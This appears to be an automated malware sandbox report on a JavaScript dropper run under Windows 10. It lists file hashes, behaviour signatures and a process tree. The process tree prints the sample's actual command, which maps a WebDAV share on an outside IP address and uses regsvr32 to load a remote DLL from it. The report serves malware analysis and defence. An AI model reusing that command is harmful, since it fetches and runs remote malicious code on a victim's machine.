Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-07-2024 07:01

General

  • Target

    28406251413181330813.js

  • Size

    4KB

  • MD5

    86441a5baf170cbacd7cfd91b7618ee7

  • SHA1

    fa20f1495b6498598c20262c2083a12bd1129543

  • SHA256

    48ff9d29113e389ff0aa66cd179e5c5db90f05e61d689ebb3a566e949eaad765

  • SHA512

    728e4b5781c3bbc12eb99e2429325fdc98a2ca07c80f2b92c2754a5de33fac0f32ba88ec2e3555cfdb34ba656ee6c977663c439a5fc5eaddd957dc4288ff7d4c

  • SSDEEP

    96:T+sQJPpi/6werAwt/6Z6VNaMwAk37QaMwM/L:asQB2g5raMwAk8aMwG

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\28406251413181330813.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3280
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\278921578920026.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3200
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:4016

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads